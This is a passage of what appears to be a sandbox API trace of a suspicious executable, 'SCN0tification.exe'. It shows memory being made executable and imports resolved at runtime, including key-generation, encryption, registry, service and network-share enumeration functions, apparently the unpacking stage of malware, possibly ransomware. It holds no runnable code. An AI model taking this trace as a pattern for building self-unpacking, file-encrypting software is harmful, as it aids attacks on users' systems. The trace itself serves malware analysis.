flProtect=0x4) returned 0x330000 [0057.736] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.736] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1f000, flNewProtect=0x40, lpflOldProtect=0x19faf4 | out: lpflOldProtect=0x19faf4*=0x2) returned 1 [0057.744] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x74f40000 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x74f66020 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="GetEnvironmentVariableA") returned 0x74f5a390 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="CreateMutexA") returned 0x74f65fb0 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="GetFileAttributesW") returned 0x74f66340 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="FreeLibraryAndExitThread") returned 0x74f5a570 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="EnumSystemCodePagesW") returned 0x74f80d40 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="WriteTapemark") returned 0x74f8b570 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="ResumeThread") returned 0x74f5a280 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="GetACP") returned 0x74f58770 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="OpenProcess") returned 0x74f592b0 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="GetVersion") returned 0x74f5a300 [0057.744] GetProcAddress (hModule=0x74f40000, lpProcName="CreateToolhelp32Snapshot") returned 0x74f67510 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="GetModuleHandleExA") returned 0x74f5a3d0 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="GetTimeZoneInformation") returned 0x74f5a530 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="CompareStringA") returned 0x74f5db10 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="Process32NextW") returned 0x74f5c9b0 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="SetEvent") returned 0x74f660c0 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="GetCurrentThread") returned 0x74f575c0 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="DefineDosDeviceW") returned 0x74f66190 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="DeleteFileA") returned 0x74f661a0 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="Process32FirstW") returned 0x74f5ee30 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="FileTimeToLocalFileTime") returned 0x74f661c0 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWaitableTimerA") returned 0x74f5db30 [0057.745] GetProcAddress (hModule=0x74f40000, lpProcName="FindAtomA") returned 0x74f5e640 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="GetProcAddress") returned 0x74f57940 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="ExitProcess") returned 0x74f674f0 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="LCMapStringW") returned 0x74f59a40 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="GetComputerNameW") returned 0x74f63e90 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="GetCurrentProcessId") returned 0x74f51d90 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="UnhandledExceptionFilter") returned 0x74f828e0 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="WideCharToMultiByte") returned 0x74f575a0 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="ReadConsoleOutputCharacterW") returned 0x74f66a40 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="LocalReAlloc") returned 0x74f64b60 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="CreateDirectoryA") returned 0x74f66140 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="QueryPerformanceCounter") returned 0x74f52dc0 [0057.746] GetProcAddress (hModule=0x74f40000, lpProcName="GetStringTypeW") returned 0x74f579b0 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="GetEnvironmentStringsW") returned 0x74f5a3b0 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="IsDebuggerPresent") returned 0x74f5a790 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="GetExitCodeProcess") returned 0x74f5f6f0 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="GetCurrentDirectoryA") returned 0x74f80ff0 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="CreateFileA") returned 0x74f66170 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="LockResource") returned 0x74f57a50 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="LoadResource") returned 0x74f578f0 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="FindResourceW") returned 0x74f63a50 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="GetModuleHandleW") returned 0x74f59660 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="EnumResourceNamesA") returned 0x74f7d980 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="DecodePointer") returned 0x7770a200 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="WriteConsoleW") returned 0x74f66920 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="CreateFileMappingW") returned 0x74f591e0 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="GetConsoleMode") returned 0x74f66870 [0057.747] GetProcAddress (hModule=0x74f40000, lpProcName="FlushFileBuffers") returned 0x74f662a0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="HeapReAlloc") returned 0x776ebae0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="HeapSize") returned 0x77704f40 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="GetProcessHeap") returned 0x74f57910 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="GetFileType") returned 0x74f66390 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="SetStdHandle") returned 0x74f826a0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="FreeEnvironmentStringsW") returned 0x74f5a0f0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="GetCommandLineW") returned 0x74f5a4b0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="GetCommandLineA") returned 0x74f5a3c0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="GetCPInfo") returned 0x74f59fc0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="GetOEMCP") returned 0x74f5fd10 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="IsValidCodePage") returned 0x74f5a090 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="FindNextFileA") returned 0x74f66270 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="FindFirstFileExA") returned 0x74f66220 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="HeapAlloc") returned 0x776eda90 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="HeapFree") returned 0x74f525e0 [0057.748] GetProcAddress (hModule=0x74f40000, lpProcName="RaiseException") returned 0x74f59ec0 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="GetModuleHandleExW") returned 0x74f59fa0 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="MultiByteToWideChar") returned 0x74f52d60 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="GetStdHandle") returned 0x74f5a060 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="LoadLibraryExW") returned 0x74f57920 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="FreeLibrary") returned 0x74f598f0 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="TlsFree") returned 0x74f59930 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="TlsGetValue") returned 0x74f51ba0 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="TlsAlloc") returned 0x74f59a70 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="DeleteCriticalSection") returned 0x77709920 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="LeaveCriticalSection") returned 0x776f5e00 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="SignalObjectAndWait") returned 0x74f82850 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="GetConsoleCP") returned 0x74f66860 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="TerminateProcess") returned 0x74f5fbc0 [0057.749] GetProcAddress (hModule=0x74f40000, lpProcName="lstrcpynW") returned 0x74f5fbe0 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="TlsSetValue") returned 0x74f51da0 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="CompareStringW") returned 0x74f62230 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="EraseTape") returned 0x74f8b350 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="FindFirstFileA") returned 0x74f66210 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="SizeofResource") returned 0x74f58cb0 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="GetModuleFileNameA") returned 0x74f5a040 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="GetShortPathNameA") returned 0x74f5c3a0 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="GetDriveTypeW") returned 0x74f66300 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="lstrcmpW") returned 0x74f578d0 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="MapViewOfFile") returned 0x74f58c10 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="EnterCriticalSection") returned 0x776f5e80 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="SetLastError") returned 0x74f52af0 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="lstrcpyW") returned 0x74f7d410 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="MoveFileExW") returned 0x74f5a820 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="CreateThread") returned 0x74f59700 [0057.750] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemInfo") returned 0x74f5a1f0 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="CloseHandle") returned 0x74f65f20 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="GlobalFree") returned 0x74f63a70 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="lstrcpyA") returned 0x74f5e320 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="DeleteFileW") returned 0x74f661b0 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="GlobalAlloc") returned 0x74f59600 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="lstrcatW") returned 0x74f7d320 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="GetLastError") returned 0x74f52db0 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="Sleep") returned 0x74f577b0 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="SetFileAttributesW") returned 0x74f66510 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="UnmapViewOfFile") returned 0x74f594b0 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="CreateFileW") returned 0x74f66180 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="WaitForSingleObject") returned 0x74f66110 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="FindClose") returned 0x74f661d0 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="lstrlenA") returned 0x74f63a30 [0057.751] GetProcAddress (hModule=0x74f40000, lpProcName="SetFilePointer") returned 0x74f66530 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="SetErrorMode") returned 0x74f58bf0 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="VirtualAlloc") returned 0x74f58b70 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="WriteFile") returned 0x74f66590 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="lstrlenW") returned 0x74f52d80 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="FindNextFileW") returned 0x74f66290 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="RtlUnwind") returned 0x74f59a80 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="GetStartupInfoW") returned 0x74f5a080 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="InitializeSListHead") returned 0x77711fc0 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="GetSystemTimeAsFileTime") returned 0x74f52b90 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="VirtualFree") returned 0x74f58c70 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="FindFirstFileW") returned 0x74f66250 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="SetFilePointerEx") returned 0x74f66540 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="ReadFile") returned 0x74f664a0 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="GetCurrentThreadId") returned 0x74f51b90 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="IsProcessorFeaturePresent") returned 0x74f59680 [0057.752] GetProcAddress (hModule=0x74f40000, lpProcName="GetCurrentProcess") returned 0x74f52da0 [0057.753] GetProcAddress (hModule=0x74f40000, lpProcName="SetUnhandledExceptionFilter") returned 0x74f5a2c0 [0057.753] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76c70000 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="wsprintfW") returned 0x76c9ddf0 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="CharUpperW") returned 0x76c8df20 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="CharNextA") returned 0x76c9d030 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="DispatchMessageA") returned 0x76ca0660 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="GetDC") returned 0x76ca4dd0 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="IsWindowVisible") returned 0x76c96e80 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="GetMenuItemCount") returned 0x76c8ff00 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="CreateWindowExW") returned 0x76c891c0 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="GetSystemMetrics") returned 0x76c855d0 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="MessageBeep") returned 0x76cc95b0 [0057.753] GetProcAddress (hModule=0x76c70000, lpProcName="GetWindowPlacement") returned 0x76ca5a70 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="DrawIcon") returned 0x76c9dc70 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="wsprintfA") returned 0x76c9ea00 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="GetSubMenu") returned 0x76c8fe30 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="DialogBoxIndirectParamA") returned 0x76ccbf20 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="InvalidateRgn") returned 0x76ca59a0 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="IsDialogMessageA") returned 0x76c98f40 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="ClientToScreen") returned 0x76c82460 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="EmptyClipboard") returned 0x76ca5ca0 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="PeekMessageW") returned 0x76c8ac30 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="GetWindowTextA") returned 0x76c94690 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="MapWindowPoints") returned 0x76c81f60 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="GetKeyboardLayout") returned 0x76c8ceb0 [0057.755] GetProcAddress (hModule=0x76c70000, lpProcName="MoveWindow") returned 0x76ca5300 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="GetDialogBaseUnits") returned 0x76c91650 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="DefWindowProcA") returned 0x7772ca90 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="LoadBitmapW") returned 0x76c90550 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="DrawTextExW") returned 0x76c92ef0 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="CreateWindowExA") returned 0x76ca4720 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="LoadIconW") returned 0x76c87710 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="SendDlgItemMessageA") returned 0x76c91420 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="LoadCursorW") returned 0x76c87740 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="GetWindowDC") returned 0x76ca5360 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="AppendMenuA") returned 0x76cf67c0 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="GetDlgItem") returned 0x76c91540 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="DrawTextW") returned 0x76c92f20 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="CharUpperBuffW") returned 0x76ca3140 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="HiliteMenuItem") returned 0x76ca8940 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="GetDesktopWindow") returned 0x76c81520 [0057.756] GetProcAddress (hModule=0x76c70000, lpProcName="GetParent") returned 0x76c8b790 [0057.757] GetProcAddress (hModule=0x76c70000, lpProcName="DialogBoxParamW") returned 0x76ccc010 [0057.757] GetProcAddress (hModule=0x76c70000, lpProcName="SwapMouseButton") returned 0x76cca110 [0057.757] GetProcAddress (hModule=0x76c70000, lpProcName="UnpackDDElParam") returned 0x76cd7390 [0057.757] GetProcAddress (hModule=0x76c70000, lpProcName="LoadStringW") returned 0x76c8cf10 [0057.757] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x75030000 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="SelectObject") returned 0x750afc80 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="GetTextFaceW") returned 0x750bc0e0 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="AbortDoc") returned 0x75110820 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="CreateDCW") returned 0x750df0a0 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="GetTextCharset") returned 0x750dfd40 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="GetTextMetricsW") returned 0x750c9190 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="GetSystemPaletteEntries") returned 0x750e06c0 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="SelectClipRgn") returned 0x750bd640 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="CreateFontIndirectA") returned 0x750c0940 [0057.757] GetProcAddress (hModule=0x75030000, lpProcName="PtInRegion") returned 0x750dd000 [0057.758] GetProcAddress (hModule=0x75030000, lpProcName="EnumObjects") returned 0x75110390 [0057.758] GetProcAddress (hModule=0x75030000, lpProcName="DeleteMetaFile") returned 0x750b6910 [0057.758] GetProcAddress (hModule=0x75030000, lpProcName="SetAbortProc") returned 0x750e1390 [0057.758] GetProcAddress (hModule=0x75030000, lpProcName="EndPage") returned 0x750dfbc0 [0057.758] GetProcAddress (hModule=0x75030000, lpProcName="ExtTextOutA") returned 0x750da100 [0057.758] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x74500000 [0058.012] GetProcAddress (hModule=0x74500000, lpProcName="ClosePrinter") returned 0x74513de0 [0058.012] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x766d0000 [0061.401] GetProcAddress (hModule=0x766d0000, lpProcName="GetOpenFileNameA") returned 0x76726e20 [0061.401] GetProcAddress (hModule=0x766d0000, lpProcName="ReplaceTextW") returned 0x7672b8d0 [0061.401] GetProcAddress (hModule=0x766d0000, lpProcName="ChooseFontA") returned 0x7672bf10 [0061.401] GetProcAddress (hModule=0x766d0000, lpProcName="PrintDlgA") returned 0x76730b20 [0061.401] GetProcAddress (hModule=0x766d0000, lpProcName="GetFileTitleW") returned 0x766db730 [0061.401] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77550000 [0061.401] GetProcAddress (hModule=0x77550000, lpProcName="RegDeleteValueW") returned 0x77570ca0 [0061.401] GetProcAddress (hModule=0x77550000, lpProcName="CryptGenKey") returned 0x77573fd0 [0061.401] GetProcAddress (hModule=0x77550000, lpProcName="CryptExportKey") returned 0x7756f8f0 [0061.401] GetProcAddress (hModule=0x77550000, lpProcName="RegQueryValueExA") returned 0x7756ee40 [0061.401] GetProcAddress (hModule=0x77550000, lpProcName="SetServiceStatus") returned 0x77570ce0 [0061.401] GetProcAddress (hModule=0x77550000, lpProcName="OpenSCManagerA") returned 0x77570f30 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="RegOpenUserClassesRoot") returned 0x77586810 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="RegSaveKeyExW") returned 0x77586890 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="InitializeSecurityDescriptor") returned 0x7756f870 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="RegOpenKeyExA") returned 0x7756f000 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="RegOpenKeyExW") returned 0x7756ed80 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="CryptEncrypt") returned 0x77585bd0 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="RegDeleteValueA") returned 0x77570fb0 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="CryptDestroyKey") returned 0x7756fc10 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="CryptAcquireContextW") returned 0x77570730 [0061.402] GetProcAddress (hModule=0x77550000, lpProcName="CryptReleaseContext") returned 0x77570ad0 [0061.402] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75310000 [0061.402] GetProcAddress (hModule=0x75310000, lpProcName="SHGetSpecialFolderPathW") returned 0x7549edb0 [0061.403] GetProcAddress (hModule=0x75310000, lpProcName="ShellExecuteA") returned 0x75572110 [0061.403] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x74da0000 [0061.403] GetProcAddress (hModule=0x74da0000, lpProcName="StrStrW") returned 0x74db81d0 [0061.403] GetProcAddress (hModule=0x74da0000, lpProcName="PathFindFileNameW") returned 0x74db80d0 [0061.403] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74880000 [0061.701] GetProcAddress (hModule=0x74880000, lpProcName="CryptStringToBinaryA") returned 0x748c8040 [0061.701] GetProcAddress (hModule=0x74880000, lpProcName="CryptDecodeObjectEx") returned 0x748b4470 [0061.701] GetProcAddress (hModule=0x74880000, lpProcName="CryptImportPublicKeyInfoEx") returned 0x748b0cc0 [0061.701] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x744c0000 [0061.775] GetProcAddress (hModule=0x744c0000, lpProcName="WNetOpenEnumW") returned 0x744c3810 [0061.775] GetProcAddress (hModule=0x744c0000, lpProcName="WNetEnumResourceW") returned 0x744c32d0 [0061.775] GetProcAddress (hModule=0x744c0000, lpProcName="WNetCloseEnum") returned 0x744c3710 [0061.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fa28 | out: lpSystemTimeAsFileTime=0x19fa28*(dwLowDateTime=0xbeee7f45, dwHighDateTime=0x1d4d11d)) [0061.775] GetCurrentThreadId () returned 0xd38 [0061.775] GetCurrentProcessId () returned 0xd34 [0061.775] QueryPerformanceCounter (in: lpPerformanceCount=0x19fa20 | out: lpPerformanceCount=0x19fa20*=12221053981) returned 1 [0061.775] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0061.775] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x75190000 [0061.775] GetProcAddress (hModule=0x75190000, lpProcName="InitializeCriticalSectionEx") returned 0x75243ae0 [0061.775] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x75190000 [0061.776] GetProcAddress (hModule=0x75190000, lpProcName="FlsAlloc") returned 0x75246530 [0061.776] GetProcAddress (hModule=0x75190000, lpProcName="FlsSetValue") returned 0x75243770 [0061.776] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x75190000 [0061.776] GetProcAddress (hModule=0x75190000, lpProcName="InitializeCriticalSectionEx") returned 0x75243ae0 [0061.776] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x75190000 [0061.776] GetProcAddress (hModule=0x75190000, lpProcName="FlsAlloc") returned 0x75246530 [0061.776] GetLastError () returned 0x0 [0061.776] GetProcAddress (hModule=0x75190000, lpProcName="FlsGetValue") returned 0x7523a7b0 [0061.776] GetProcAddress (hModule=0x75190000, lpProcName="FlsSetValue") returned 0x75243770 [0061.776] SetLastError (dwErrCode=0x0) [0061.777] GetStartupInfoW (in: lpStartupInfo=0x19f950 | out: lpStartupInfo=0x19f950*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0061.777] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0061.777] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0061.777] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0061.778] GetCommandLineA () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0061.778] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SCN0tification.exe\" " [0061.778] GetLastError () returned 0x0 [0061.778] SetLastError (dwErrCode=0x0) [0061.778] GetLastError () returned 0x0 [0061.778] SetLastError (dwErrCode=0x0) [0061.778] GetACP () returned 0x4e4 [0061.778] IsValidCodePage (CodePage=0x4e4) returned 1 [0061.778] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f980 | out: lpCPInfo=0x19f980) returned 1 [0061.778] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f248 | out: lpCPInfo=0x19f248) returned 1 [0061.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f85c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f85c, cbMultiByte=256, lpWideCharStr=0x19efe8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ旰@Ā") returned 256 [0061.778] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ旰@Ā", cchSrc=256, lpCharType=0x19f25c | out: lpCharType=0x19f25c) returned 1 [0061.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f85c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0061.778] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f85c, cbMultiByte=256, lpWideCharStr=0x19ef98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 